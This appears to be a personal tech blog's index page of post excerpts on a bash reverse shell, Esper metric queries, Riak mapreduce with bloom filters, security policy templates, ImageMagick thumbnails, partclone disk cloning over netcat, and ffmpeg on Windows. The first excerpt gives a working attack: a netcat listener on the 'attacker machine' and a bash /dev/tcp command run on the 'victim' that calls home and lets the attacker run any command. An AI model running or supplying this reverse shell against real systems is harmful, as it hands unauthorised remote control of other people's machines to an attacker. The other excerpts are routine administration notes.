remote shell without any tools

Here's a method for opening up a TCP connection from one host to another without needing to install any tools. From the attacker machine, wait for a connection Wait for connections nc -nlp 12345 From the victim Call home /bin/bash -i > /dev/tcp/10.10.10.10/12345 0<&1 2>&1 The victim code will open up a connection the the attacker, allowing the attacker to run whatever bash commands he wants. All this without installing anything on the victim.

Read more

sample esp queries

Emit when something hasn't been seen in a while:

select 
  * 
from 
  NoitMetricNumeric.std:groupwin(uuid,name).win:time(5 minutes).std:lastevent().std:size() 
where 
  size = 0 group by uuid, name

Read more

fun with bloom filters using riak mapreduce

So I.ve been toying with some ideas on how to do large mapreduce jobs, and pushing the processing into Riak (Erlang) to make use of distributed processing and data-locality.

It took a while to figure out how to get this to work, but here it is.

Read more

security policy templates

NIST has a good list The department of the interior handbook to be quite a good and comprehensive resource. The CMS IS policy seems to be a good over-reaching policy for starting policy UCISA has a good toolkit

Read more

easy thumnail resizing

Download and install ImageMagick cd path\to\images mkdir thumbs mkdir resized mogrify -path thumbs -thumbnail 100x100 *.JPG mogrify -path resized -resize 1024x768 *.JPG Done!

Read more

cloning systems

Grab partclone On both the server you want to image, and the server you want to restore to, boot a live usb that has netcat and partclone. I create my own using the gentoo LiveUSB install http://www.gentoo.org/doc/en/liveusb.xml, and copy the tools onto the usb stick. On target node: nc -l -p 999 | partclone.ext4 -r -o /dev/sda2 On source node: partclone.ext4 -c -s /dev/sda2 | nc 1.2.3.4 999.http://partclone.nchc.org.tw/trac/wiki/Download It will send the image over the network, and will do so efficiently without wasting bandwidth on sending empty disk sectors, as it's a logical partition dump.

Read more

converting avi files to flash video on windows xp

Step 1. Install ffmpeg. I believe I downloaded it from here There was issue with the installation. After installing it (in c:\windows I believe), I noticed that none of the presets worked. This is natively a linux app, and after a bit of poking around I saw that it was looking for the presets in /usr/local/share/ffmpeg. To fix this, I created that folder in the root of the disk I was using for the transcoding (X in my case), and put the preset files in there.

Read more